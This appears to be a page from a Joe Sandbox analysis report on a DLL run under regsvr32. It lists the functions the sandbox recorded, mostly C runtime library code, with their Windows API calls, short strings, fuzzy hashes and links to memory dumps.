Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7d3127d6624304a4445bd5d3e0ea33e57231481fe0f778f5d46cc567561e9e48
Instruction ID: b6e68c8e5646865891fe3c2e813574348240ee4b87e30bb570054094d9295719
Opcode Fuzzy Hash: 7d3127d6624304a4445bd5d3e0ea33e57231481fe0f778f5d46cc567561e9e48
Instruction Fuzzy Hash: 433118B2C0121CAFDF02DFD9DD809DEBFB9BF18214F54412AE918B2291D7318A64DB65

Function 6F9578B8 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6F956705,00000001,00000364,00000000,FFFFFFFF,000000FF,?,?,6F956A80,6F9578AD), ref: 6F9578F9

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 11000175e47c4525117f2a653cde02841767236b2a8b14f2ebde905929f718b9
Instruction ID: 1c8d16ceb53eaeee637e4d106c1a0a49eb170089cd0adb56380666566bff0a88
Opcode Fuzzy Hash: 11000175e47c4525117f2a653cde02841767236b2a8b14f2ebde905929f718b9
Instruction Fuzzy Hash: 8DF0B43160462DABEB26DA368844B9A3B5CAF43770B01C126EE149A1C1DB20E630C6B2

Non-executed Functions

Function 6F9525AB Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6F9525B7
IsDebuggerPresent.KERNEL32 ref: 6F952683
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6F9526A3
UnhandledExceptionFilter.KERNEL32(?), ref: 6F9526AD

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 69cb469e2c0385887cfed3d60eb2c937eee9b5b471f515200a265a1b2e39c88d
Instruction ID: 23ecd557c1dc805c03c3c6812459aa0a4d63baa913363ccb1acc5b8aa5697faf
Opcode Fuzzy Hash: 69cb469e2c0385887cfed3d60eb2c937eee9b5b471f515200a265a1b2e39c88d
Instruction Fuzzy Hash: 5E310775D053189BEB10DFA4C989BCCBBB8BF08304F1040AAE40DAB290EB719A94CF54

Function 6F957231 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 278COMMON

Download Yara Rule

Strings

\, xrefs: 6F9573AB
PATH, xrefs: 6F957308, 6F95730E

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID: PATH$\
API String ID: 485612231-1896636505
Opcode ID: bca75e8e3329abeb13bf99d4c11f562514c5c828cc0d022a51bcbe5aa6ad03ab
Instruction ID: bfd6ba309fbbdd3e50862742368b1701835e2fdd745e023c654a87069aadc7be
Opcode Fuzzy Hash: bca75e8e3329abeb13bf99d4c11f562514c5c828cc0d022a51bcbe5aa6ad03ab
Instruction Fuzzy Hash: 0D911A7190430A9EEF15CF64DC40BEE7BB9AF56328F10851AE850AA1C2E771D771CB62

Function 6F9540D9 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6F9541D6
type_info::operator==.LIBVCRUNTIME ref: 6F9541F8
___TypeMatch.LIBVCRUNTIME ref: 6F954307
IsInExceptionSpec.LIBVCRUNTIME ref: 6F9543D9
_UnwindNestedFrames.LIBCMT ref: 6F95445D
CallUnexpected.LIBVCRUNTIME ref: 6F954478

Strings

csm, xrefs: 6F954183
csm, xrefs: 6F954116
csm, xrefs: 6F95422F

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: d72726c23ee046ae4ccc160110ea4db62a36ebe977963449e1ea24ba8276283f
Instruction ID: d68dff75e1d19f502d277b8a782abd22065da85cd44a8ea43081635f370f0c4d
Opcode Fuzzy Hash: d72726c23ee046ae4ccc160110ea4db62a36ebe977963449e1ea24ba8276283f
Instruction Fuzzy Hash: 11B17A71C00209DFCF58CFA8D9A099EB7B9BF55318F10416AE8106B296D731EA72CF91

Function 6F95CD11 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 6F95CDB7
__alloca_probe_16.LIBCMT ref: 6F95CE72
__alloca_probe_16.LIBCMT ref: 6F95CF01
__freea.LIBCMT ref: 6F95CF4C
__freea.LIBCMT ref: 6F95CF52
__freea.LIBCMT ref: 6F95CF88
__freea.LIBCMT ref: 6F95CF8E
__freea.LIBCMT ref: 6F95CF9E

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 48d6ee9e6afdb0b9f02c7115d1f366bc5bf7881f417b5b1704fe9b91de0c74f7
Instruction ID: 6427da8743cc68f813d9277217a5a15751a5b07a0a771e4bbca6e80389495599
Opcode Fuzzy Hash: 48d6ee9e6afdb0b9f02c7115d1f366bc5bf7881f417b5b1704fe9b91de0c74f7
Instruction Fuzzy Hash: D771E272A04305ABEF11CEB58C40BEF7BBA9F4A314F14015AED14BB2C1E735E92587A1

Function 6F953010 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6F953047
___except_validate_context_record.LIBVCRUNTIME ref: 6F95304F
_ValidateLocalCookies.LIBCMT ref: 6F9530D8
__IsNonwritableInCurrentImage.LIBCMT ref: 6F953103
_ValidateLocalCookies.LIBCMT ref: 6F953158

Strings

csm, xrefs: 6F9530ED

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 6dabe8bd651a882f88858d3b65ba6db7518de8536a96de84c1e85cadb246ec8b
Instruction ID: ead23f0e58b78240c10f663c830149cce8d8a4e8ea26d57c37804581b3eba9f6
Opcode Fuzzy Hash: 6dabe8bd651a882f88858d3b65ba6db7518de8536a96de84c1e85cadb246ec8b
Instruction Fuzzy Hash: C7417234A00319ABDF10CF79C885E9EBBB6AF45368F108159E9149B3D2D732E925CF91

Function 6F95912D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,2C12E102,?,6F95923C,00000000,6F9510C9,00000000,00000000), ref: 6F9591EE

Strings

ext-ms-, xrefs: 6F959198
api-ms-, xrefs: 6F959184

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: f554dc15ddbba9cf125c6ce60cf5df5e1b206662ab8630a6768cee15615cc257
Instruction ID: 1ede92d87e88183e7490bbb336172c1a1857d4a00e499d7b6d6ec4c2ecc552f4
Opcode Fuzzy Hash: f554dc15ddbba9cf125c6ce60cf5df5e1b206662ab8630a6768cee15615cc257
Instruction Fuzzy Hash: E821EB71909621ABFF31CB348D88A9A376D9F437B4F110615ED16A72C8D730F921CAE0

Function 6F953727 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6F9531F1,6F952381,6F951D55,?,6F951F8D,?,00000001,?,?,00000001,?,6F965750,0000000C,6F952086), ref: 6F953735
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6F953743
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6F95375C
SetLastError.KERNEL32(00000000,6F951F8D,?,00000001,?,?,00000001,?,6F965750,0000000C,6F952086,?,00000001,?), ref: 6F9537AE

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: cc2281c019edd921d842ec66aee1f84c51d2aa2c758fc477ff1fb2002e255d74
Instruction ID: 55fdda806f67d341de7e6315f8943b37e07243cf9b6803278666ec7b786dd641
Opcode Fuzzy Hash: cc2281c019edd921d842ec66aee1f84c51d2aa2c758fc477ff1fb2002e255d74
Instruction Fuzzy Hash: 4F01F773A2CB115EBB1095B8ACD7E6A276ADB07779720032EE130D50E1EF51D835AA90

Function 6F957FBD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\regsvr32.exe, xrefs: 6F957FD9

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID:
String ID: C:\Windows\SysWOW64\regsvr32.exe
API String ID: 0-3922119987
Opcode ID: a14bb15c37d60a286f0625b893b28e2a2e57ec3d5e5a9c851fc281ae84d76adb
Instruction ID: 1597c5ab29c6056f2b844a429e15773aa7f25723b31fc11314ad33efb6e76bb7
Opcode Fuzzy Hash: a14bb15c37d60a286f0625b893b28e2a2e57ec3d5e5a9c851fc281ae84d76adb
Instruction Fuzzy Hash: 9D219D71218606AFEB24DFB5888099B77ADEF113687008918E919DB1D1EB30EC258BA0

Function 6F953C69 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6F953D2A,00000000,?,00000001,00000000,?,6F953DA1,00000001,FlsFree,6F960E2C,FlsFree,00000000), ref: 6F953CF9

Strings

api-ms-, xrefs: 6F953CB9

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: ad7b35e693053ff004a6380ad2c70a82dd44f2e5e314501ec7917911fc46011e
Instruction ID: bf6d080421070cce3ce2d0b880099514b46054195cae0c3e3f03cb59de10071a
Opcode Fuzzy Hash: ad7b35e693053ff004a6380ad2c70a82dd44f2e5e314501ec7917911fc46011e
Instruction Fuzzy Hash: 2511A771A44621ABFF22CB78C942F5937A9AF02770F100215ED11AB1C0D770F920C6D5

Function 6F9552BE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,2C12E102,?,?,00000000,6F95F92D,000000FF,?,6F955258,?,?,6F95522C,00000000), ref: 6F9552F3
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6F955305
FreeLibrary.KERNEL32(00000000,?,00000000,6F95F92D,000000FF,?,6F955258,?,?,6F95522C,00000000), ref: 6F955327

Strings

CorExitProcess, xrefs: 6F9552FD
mscoree.dll, xrefs: 6F9552EC

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 86b17386e015d26b04162c864e44e22a488c0b66bee0cc5689ba68fc4fc320da
Instruction ID: a2a5d3eee320de7d7d6efa6493a3a3008c493e11d049b6108d2eb59632f2bbfb
Opcode Fuzzy Hash: 86b17386e015d26b04162c864e44e22a488c0b66bee0cc5689ba68fc4fc320da
Instruction Fuzzy Hash: 23014471918919EBEF028B54CC44BBE7BB9FB45724F00062AF921E22D4DB75D910CA50

Function 6F95B654 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6F95B6D9
__alloca_probe_16.LIBCMT ref: 6F95B7A2
__freea.LIBCMT ref: 6F95B809

Part of subcall function 6F95786A: HeapAlloc.KERNEL32(00000000,00000000,?,?,6F951CD5,00000000,?,6F95175C,00000000,?,6F9510C9,00000000), ref: 6F95789C

__freea.LIBCMT ref: 6F95B81C
__freea.LIBCMT ref: 6F95B829

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 50eb4319f89d205e16c88159eb3cdaf39520fe7941bd2d0c6b472fdfcfb26144
Instruction ID: 15b4db24f0c52991273d2f291cd5d2957f38f049bf9de9cdec2bb3f98edc1308
Opcode Fuzzy Hash: 50eb4319f89d205e16c88159eb3cdaf39520fe7941bd2d0c6b472fdfcfb26144
Instruction Fuzzy Hash: 7C51A3729012066BEB18CE65DC80EBB7ABDDF94714F154129FE14DA1D1EB31EC6186A0

Function 6F95BDF6 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(2C12E102,00000000,00000000,?), ref: 6F95BE59

Part of subcall function 6F958B8B: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F95B7FF,?,00000000,-00000008), ref: 6F958BEC

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6F95C0AB
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6F95C0F1
GetLastError.KERNEL32 ref: 6F95C194

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: b2a688838fe8bf3955c95837d872743bc7241829b9ad8106a464be17ba41a4c7
Instruction ID: 5b3195121e167717b88fb6d5c62fec892058d9986fe1edb15ec81f1ed54de01d
Opcode Fuzzy Hash: b2a688838fe8bf3955c95837d872743bc7241829b9ad8106a464be17ba41a4c7
Instruction Fuzzy Hash: E5D18A75D042589FDF15CFA8C8809EDBBB8EF0A314F14812AE855AB291D730E952CF50

Function 6F953E82 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6F953F49
___AdjustPointer.LIBCMT ref: 6F953F6C
___AdjustPointer.LIBCMT ref: 6F954008

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 8fd13cb57332c53c0b56804987c53cbba2a86d479b996acbaba7fe73ff76abaf
Instruction ID: e94c86d600dc1b522e68b7f54a2c045815f7b12591a3e06eb6ac773d160087c9
Opcode Fuzzy Hash: 8fd13cb57332c53c0b56804987c53cbba2a86d479b996acbaba7fe73ff76abaf
Instruction Fuzzy Hash: 8B51CC72604606AFEB19CF36D852FAAB7BAEF64314F10412AED15472D1E731E874CB90

Function 6F95792D Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6F958B8B: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F95B7FF,?,00000000,-00000008), ref: 6F958BEC

GetLastError.KERNEL32 ref: 6F957991
__dosmaperr.LIBCMT ref: 6F957998
GetLastError.KERNEL32(?,?,?,?), ref: 6F9579D2
__dosmaperr.LIBCMT ref: 6F9579D9

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 106d213be465e8bbc35f12edc7bc4e2a72873f08a5b858c4c96e4d53c6193b83
Instruction ID: 78a20d634b7c6c4bc48c33d63c8dfc9a800d1de47c4891f9f1ab74e1c0d8c718
Opcode Fuzzy Hash: 106d213be465e8bbc35f12edc7bc4e2a72873f08a5b858c4c96e4d53c6193b83
Instruction Fuzzy Hash: A621B07120471EAF9B50DFB5C99085AB7ADEF01368710C519EE18871D0D730EE31CBA2

Function 6F958C2E Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6F958C36

Part of subcall function 6F958B8B: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F95B7FF,?,00000000,-00000008), ref: 6F958BEC

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6F958C6E
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6F958C8E

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: d9790b809ee6d5fbb68c96597575fae9a4322b63d29cbfb3be0a61eba9aa171a
Instruction ID: 9347431251b9575f5978865984a4f43ff6e5c38502980fab9cede6ebc57645cd
Opcode Fuzzy Hash: d9790b809ee6d5fbb68c96597575fae9a4322b63d29cbfb3be0a61eba9aa171a
Instruction Fuzzy Hash: 0D11A5F151A615BFB71597B58ECCCAF396CDF562A97000114F501952C5EB30ED21C7B1

Function 6F95D916 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,6F95D0D7,00000000,00000001,00000000,?,?,6F95C1E8,?,00000000,00000000), ref: 6F95D92D
GetLastError.KERNEL32(?,6F95D0D7,00000000,00000001,00000000,?,?,6F95C1E8,?,00000000,00000000,?,?,?,6F95C78B,00000000), ref: 6F95D939

Part of subcall function 6F95D8FF: CloseHandle.KERNEL32(FFFFFFFE,6F95D949,?,6F95D0D7,00000000,00000001,00000000,?,?,6F95C1E8,?,00000000,00000000,?,?), ref: 6F95D90F

___initconout.LIBCMT ref: 6F95D949

Part of subcall function 6F95D8C1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6F95D8F0,6F95D0C4,?,?,6F95C1E8,?,00000000,00000000,?), ref: 6F95D8D4

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,6F95D0D7,00000000,00000001,00000000,?,?,6F95C1E8,?,00000000,00000000,?), ref: 6F95D95E

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 86ea7d3a8b6db4968cf77ff69b9186062e16c007ab02fe31077746fe7a85e8a4
Instruction ID: 8be10e3987927ed1fee0474222823d1413298eda69ff01bfbbaaef7112f550fb
Opcode Fuzzy Hash: 86ea7d3a8b6db4968cf77ff69b9186062e16c007ab02fe31077746fe7a85e8a4
Instruction Fuzzy Hash: 61F0303640A555BBEF165F91DC44A993F77FF093B0B044059FB189A260CB32E930DB91

Function 6F954483 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6F9544A8

Strings

MOC, xrefs: 6F9544BA
RCC, xrefs: 6F9544C2

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
